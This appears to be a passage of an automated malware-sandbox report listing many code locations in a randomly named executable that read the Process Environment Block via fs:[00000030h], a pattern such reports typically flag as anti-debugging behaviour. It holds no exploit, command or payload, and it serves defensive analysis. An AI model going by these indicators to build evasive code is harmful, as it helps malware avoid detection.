Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A1FC9 mov eax, dword ptr fs:[00000030h]	11_2_1D8A1FC9
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A1FC9 mov eax, dword ptr fs:[00000030h]	11_2_1D8A1FC9
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A1FC9 mov eax, dword ptr fs:[00000030h]	11_2_1D8A1FC9
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A1FC9 mov eax, dword ptr fs:[00000030h]	11_2_1D8A1FC9
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A1FC9 mov eax, dword ptr fs:[00000030h]	11_2_1D8A1FC9
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D819FD0 mov eax, dword ptr fs:[00000030h]	11_2_1D819FD0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D89FFDC mov eax, dword ptr fs:[00000030h]	11_2_1D89FFDC
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D89FFDC mov eax, dword ptr fs:[00000030h]	11_2_1D89FFDC
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D89FFDC mov eax, dword ptr fs:[00000030h]	11_2_1D89FFDC
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D89FFDC mov ecx, dword ptr fs:[00000030h]	11_2_1D89FFDC
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D89FFDC mov eax, dword ptr fs:[00000030h]	11_2_1D89FFDC
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D89FFDC mov eax, dword ptr fs:[00000030h]	11_2_1D89FFDC
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8DEFD3 mov eax, dword ptr fs:[00000030h]	11_2_1D8DEFD3
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D836FE0 mov eax, dword ptr fs:[00000030h]	11_2_1D836FE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D836FE0 mov ecx, dword ptr fs:[00000030h]	11_2_1D836FE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D836FE0 mov ecx, dword ptr fs:[00000030h]	11_2_1D836FE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D836FE0 mov eax, dword ptr fs:[00000030h]	11_2_1D836FE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D836FE0 mov ecx, dword ptr fs:[00000030h]	11_2_1D836FE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D836FE0 mov ecx, dword ptr fs:[00000030h]	11_2_1D836FE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D836FE0 mov eax, dword ptr fs:[00000030h]	11_2_1D836FE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D836FE0 mov eax, dword ptr fs:[00000030h]	11_2_1D836FE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D836FE0 mov eax, dword ptr fs:[00000030h]	11_2_1D836FE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D836FE0 mov eax, dword ptr fs:[00000030h]	11_2_1D836FE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D836FE0 mov eax, dword ptr fs:[00000030h]	11_2_1D836FE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D836FE0 mov eax, dword ptr fs:[00000030h]	11_2_1D836FE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D836FE0 mov eax, dword ptr fs:[00000030h]	11_2_1D836FE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D836FE0 mov eax, dword ptr fs:[00000030h]	11_2_1D836FE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D836FE0 mov eax, dword ptr fs:[00000030h]	11_2_1D836FE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D836FE0 mov eax, dword ptr fs:[00000030h]	11_2_1D836FE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D836FE0 mov eax, dword ptr fs:[00000030h]	11_2_1D836FE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D836FE0 mov eax, dword ptr fs:[00000030h]	11_2_1D836FE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8F4FFF mov eax, dword ptr fs:[00000030h]	11_2_1D8F4FFF
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D848FFB mov eax, dword ptr fs:[00000030h]	11_2_1D848FFB
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D83CF00 mov eax, dword ptr fs:[00000030h]	11_2_1D83CF00
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D83CF00 mov eax, dword ptr fs:[00000030h]	11_2_1D83CF00
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D85BF0C mov eax, dword ptr fs:[00000030h]	11_2_1D85BF0C
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D85BF0C mov eax, dword ptr fs:[00000030h]	11_2_1D85BF0C
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D85BF0C mov eax, dword ptr fs:[00000030h]	11_2_1D85BF0C
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D89FF03 mov eax, dword ptr fs:[00000030h]	11_2_1D89FF03
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D89FF03 mov eax, dword ptr fs:[00000030h]	11_2_1D89FF03
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D89FF03 mov eax, dword ptr fs:[00000030h]	11_2_1D89FF03
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D860F16 mov eax, dword ptr fs:[00000030h]	11_2_1D860F16
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D860F16 mov eax, dword ptr fs:[00000030h]	11_2_1D860F16
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D860F16 mov eax, dword ptr fs:[00000030h]	11_2_1D860F16
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D860F16 mov eax, dword ptr fs:[00000030h]	11_2_1D860F16
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8F4F1D mov eax, dword ptr fs:[00000030h]	11_2_1D8F4F1D
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81FF30 mov edi, dword ptr fs:[00000030h]	11_2_1D81FF30
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D83DF36 mov eax, dword ptr fs:[00000030h]	11_2_1D83DF36
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D83DF36 mov eax, dword ptr fs:[00000030h]	11_2_1D83DF36
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D83DF36 mov eax, dword ptr fs:[00000030h]	11_2_1D83DF36
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D83DF36 mov eax, dword ptr fs:[00000030h]	11_2_1D83DF36
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A8F3C mov eax, dword ptr fs:[00000030h]	11_2_1D8A8F3C
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A8F3C mov eax, dword ptr fs:[00000030h]	11_2_1D8A8F3C
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A8F3C mov ecx, dword ptr fs:[00000030h]	11_2_1D8A8F3C
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A8F3C mov ecx, dword ptr fs:[00000030h]	11_2_1D8A8F3C
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8DBF4D mov eax, dword ptr fs:[00000030h]	11_2_1D8DBF4D
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8DAF50 mov ecx, dword ptr fs:[00000030h]	11_2_1D8DAF50
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8DEF66 mov eax, dword ptr fs:[00000030h]	11_2_1D8DEF66
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81BF70 mov eax, dword ptr fs:[00000030h]	11_2_1D81BF70
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D821F70 mov eax, dword ptr fs:[00000030h]	11_2_1D821F70
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8F4F7C mov eax, dword ptr fs:[00000030h]	11_2_1D8F4F7C
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84AF72 mov eax, dword ptr fs:[00000030h]	11_2_1D84AF72
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D876F70 mov eax, dword ptr fs:[00000030h]	11_2_1D876F70
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81EF79 mov eax, dword ptr fs:[00000030h]	11_2_1D81EF79
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81EF79 mov eax, dword ptr fs:[00000030h]	11_2_1D81EF79
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81EF79 mov eax, dword ptr fs:[00000030h]	11_2_1D81EF79
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84BE80 mov eax, dword ptr fs:[00000030h]	11_2_1D84BE80
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84AE89 mov eax, dword ptr fs:[00000030h]	11_2_1D84AE89
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84AE89 mov eax, dword ptr fs:[00000030h]	11_2_1D84AE89
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E0EAD mov eax, dword ptr fs:[00000030h]	11_2_1D8E0EAD
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E0EAD mov eax, dword ptr fs:[00000030h]	11_2_1D8E0EAD
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D85CEA0 mov eax, dword ptr fs:[00000030h]	11_2_1D85CEA0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D831EB2 mov ecx, dword ptr fs:[00000030h]	11_2_1D831EB2
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D831EB2 mov ecx, dword ptr fs:[00000030h]	11_2_1D831EB2
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D831EB2 mov eax, dword ptr fs:[00000030h]	11_2_1D831EB2
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D831EB2 mov ecx, dword ptr fs:[00000030h]	11_2_1D831EB2
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D831EB2 mov ecx, dword ptr fs:[00000030h]	11_2_1D831EB2
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D831EB2 mov eax, dword ptr fs:[00000030h]	11_2_1D831EB2
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D831EB2 mov ecx, dword ptr fs:[00000030h]	11_2_1D831EB2
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D831EB2 mov ecx, dword ptr fs:[00000030h]	11_2_1D831EB2
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D831EB2 mov eax, dword ptr fs:[00000030h]	11_2_1D831EB2
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D831EB2 mov ecx, dword ptr fs:[00000030h]	11_2_1D831EB2
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D831EB2 mov ecx, dword ptr fs:[00000030h]	11_2_1D831EB2
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D831EB2 mov eax, dword ptr fs:[00000030h]	11_2_1D831EB2
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D852EB8 mov eax, dword ptr fs:[00000030h]	11_2_1D852EB8
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D852EB8 mov eax, dword ptr fs:[00000030h]	11_2_1D852EB8
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8F4EC1 mov eax, dword ptr fs:[00000030h]	11_2_1D8F4EC1
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D85BED0 mov eax, dword ptr fs:[00000030h]	11_2_1D85BED0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E9ED2 mov eax, dword ptr fs:[00000030h]	11_2_1D8E9ED2
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D861ED8 mov eax, dword ptr fs:[00000030h]	11_2_1D861ED8
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D823EE2 mov eax, dword ptr fs:[00000030h]	11_2_1D823EE2
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D851EED mov eax, dword ptr fs:[00000030h]	11_2_1D851EED
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D851EED mov eax, dword ptr fs:[00000030h]	11_2_1D851EED
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D851EED mov eax, dword ptr fs:[00000030h]	11_2_1D851EED
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8DEEE7 mov eax, dword ptr fs:[00000030h]	11_2_1D8DEEE7
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D822EE8 mov eax, dword ptr fs:[00000030h]	11_2_1D822EE8
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D822EE8 mov eax, dword ptr fs:[00000030h]	11_2_1D822EE8
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D822EE8 mov eax, dword ptr fs:[00000030h]	11_2_1D822EE8
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D822EE8 mov eax, dword ptr fs:[00000030h]	11_2_1D822EE8
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8C3EFC mov eax, dword ptr fs:[00000030h]	11_2_1D8C3EFC
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81CEF0 mov eax, dword ptr fs:[00000030h]	11_2_1D81CEF0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81CEF0 mov eax, dword ptr fs:[00000030h]	11_2_1D81CEF0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81CEF0 mov eax, dword ptr fs:[00000030h]	11_2_1D81CEF0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81CEF0 mov eax, dword ptr fs:[00000030h]	11_2_1D81CEF0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81CEF0 mov eax, dword ptr fs:[00000030h]	11_2_1D81CEF0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81CEF0 mov eax, dword ptr fs:[00000030h]	11_2_1D81CEF0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D826E00 mov eax, dword ptr fs:[00000030h]	11_2_1D826E00
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D826E00 mov eax, dword ptr fs:[00000030h]	11_2_1D826E00
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D826E00 mov eax, dword ptr fs:[00000030h]	11_2_1D826E00
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D826E00 mov eax, dword ptr fs:[00000030h]	11_2_1D826E00
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D823E01 mov eax, dword ptr fs:[00000030h]	11_2_1D823E01
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8F4E03 mov eax, dword ptr fs:[00000030h]	11_2_1D8F4E03
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D858E15 mov eax, dword ptr fs:[00000030h]	11_2_1D858E15
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D89FE1F mov eax, dword ptr fs:[00000030h]	11_2_1D89FE1F
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D89FE1F mov eax, dword ptr fs:[00000030h]	11_2_1D89FE1F
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D89FE1F mov eax, dword ptr fs:[00000030h]	11_2_1D89FE1F
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D89FE1F mov eax, dword ptr fs:[00000030h]	11_2_1D89FE1F
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D823E14 mov eax, dword ptr fs:[00000030h]	11_2_1D823E14
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D823E14 mov eax, dword ptr fs:[00000030h]	11_2_1D823E14
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D823E14 mov eax, dword ptr fs:[00000030h]	11_2_1D823E14
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81BE18 mov ecx, dword ptr fs:[00000030h]	11_2_1D81BE18
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E8E26 mov eax, dword ptr fs:[00000030h]	11_2_1D8E8E26
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E8E26 mov eax, dword ptr fs:[00000030h]	11_2_1D8E8E26
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E8E26 mov eax, dword ptr fs:[00000030h]	11_2_1D8E8E26
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E8E26 mov eax, dword ptr fs:[00000030h]	11_2_1D8E8E26
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D822E32 mov eax, dword ptr fs:[00000030h]	11_2_1D822E32
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D85CE3F mov eax, dword ptr fs:[00000030h]	11_2_1D85CE3F
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8B6E30 mov eax, dword ptr fs:[00000030h]	11_2_1D8B6E30
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8B6E30 mov eax, dword ptr fs:[00000030h]	11_2_1D8B6E30
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8B5E30 mov eax, dword ptr fs:[00000030h]	11_2_1D8B5E30
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8B5E30 mov ecx, dword ptr fs:[00000030h]	11_2_1D8B5E30
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8B5E30 mov eax, dword ptr fs:[00000030h]	11_2_1D8B5E30
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8B5E30 mov eax, dword ptr fs:[00000030h]	11_2_1D8B5E30
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8B5E30 mov eax, dword ptr fs:[00000030h]	11_2_1D8B5E30
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8B5E30 mov eax, dword ptr fs:[00000030h]	11_2_1D8B5E30
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81FE40 mov eax, dword ptr fs:[00000030h]	11_2_1D81FE40
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81AE40 mov eax, dword ptr fs:[00000030h]	11_2_1D81AE40
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81AE40 mov eax, dword ptr fs:[00000030h]	11_2_1D81AE40
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81AE40 mov eax, dword ptr fs:[00000030h]	11_2_1D81AE40
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81DE45 mov eax, dword ptr fs:[00000030h]	11_2_1D81DE45
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81DE45 mov ecx, dword ptr fs:[00000030h]	11_2_1D81DE45
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84EE48 mov eax, dword ptr fs:[00000030h]	11_2_1D84EE48
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D89DE50 mov eax, dword ptr fs:[00000030h]	11_2_1D89DE50
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D89DE50 mov eax, dword ptr fs:[00000030h]	11_2_1D89DE50
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D89DE50 mov ecx, dword ptr fs:[00000030h]	11_2_1D89DE50
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D89DE50 mov eax, dword ptr fs:[00000030h]	11_2_1D89DE50
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D89DE50 mov eax, dword ptr fs:[00000030h]	11_2_1D89DE50
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8D0E6D mov eax, dword ptr fs:[00000030h]	11_2_1D8D0E6D
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8D0E6D mov eax, dword ptr fs:[00000030h]	11_2_1D8D0E6D
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8D0E6D mov eax, dword ptr fs:[00000030h]	11_2_1D8D0E6D
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8D0E6D mov eax, dword ptr fs:[00000030h]	11_2_1D8D0E6D
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8D0E6D mov eax, dword ptr fs:[00000030h]	11_2_1D8D0E6D
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8D0E6D mov eax, dword ptr fs:[00000030h]	11_2_1D8D0E6D
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8D0E6D mov eax, dword ptr fs:[00000030h]	11_2_1D8D0E6D
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8D0E6D mov eax, dword ptr fs:[00000030h]	11_2_1D8D0E6D
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8D0E6D mov eax, dword ptr fs:[00000030h]	11_2_1D8D0E6D
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8D0E6D mov eax, dword ptr fs:[00000030h]	11_2_1D8D0E6D
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8D0E6D mov eax, dword ptr fs:[00000030h]	11_2_1D8D0E6D
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8D0E6D mov eax, dword ptr fs:[00000030h]	11_2_1D8D0E6D
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8D0E6D mov eax, dword ptr fs:[00000030h]	11_2_1D8D0E6D
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8D0E6D mov eax, dword ptr fs:[00000030h]	11_2_1D8D0E6D
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81BE60 mov eax, dword ptr fs:[00000030h]	11_2_1D81BE60
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81BE60 mov eax, dword ptr fs:[00000030h]	11_2_1D81BE60
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8F4E62 mov eax, dword ptr fs:[00000030h]	11_2_1D8F4E62
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D821E70 mov eax, dword ptr fs:[00000030h]	11_2_1D821E70
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D857E71 mov eax, dword ptr fs:[00000030h]	11_2_1D857E71
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8DEE78 mov eax, dword ptr fs:[00000030h]	11_2_1D8DEE78
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D85CE70 mov eax, dword ptr fs:[00000030h]	11_2_1D85CE70
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D85C98F mov eax, dword ptr fs:[00000030h]	11_2_1D85C98F
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D85C98F mov eax, dword ptr fs:[00000030h]	11_2_1D85C98F
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D85C98F mov eax, dword ptr fs:[00000030h]	11_2_1D85C98F
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8AF9AA mov eax, dword ptr fs:[00000030h]	11_2_1D8AF9AA
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8AF9AA mov eax, dword ptr fs:[00000030h]	11_2_1D8AF9AA
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82E9A0 mov eax, dword ptr fs:[00000030h]	11_2_1D82E9A0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82E9A0 mov eax, dword ptr fs:[00000030h]	11_2_1D82E9A0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82E9A0 mov eax, dword ptr fs:[00000030h]	11_2_1D82E9A0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82E9A0 mov eax, dword ptr fs:[00000030h]	11_2_1D82E9A0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82E9A0 mov eax, dword ptr fs:[00000030h]	11_2_1D82E9A0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82E9A0 mov eax, dword ptr fs:[00000030h]	11_2_1D82E9A0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82E9A0 mov eax, dword ptr fs:[00000030h]	11_2_1D82E9A0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82E9A0 mov eax, dword ptr fs:[00000030h]	11_2_1D82E9A0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82E9A0 mov eax, dword ptr fs:[00000030h]	11_2_1D82E9A0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81B9B0 mov eax, dword ptr fs:[00000030h]	11_2_1D81B9B0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8589B0 mov edx, dword ptr fs:[00000030h]	11_2_1D8589B0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8F29CF mov eax, dword ptr fs:[00000030h]	11_2_1D8F29CF
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8F29CF mov eax, dword ptr fs:[00000030h]	11_2_1D8F29CF
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82B9C0 mov eax, dword ptr fs:[00000030h]	11_2_1D82B9C0
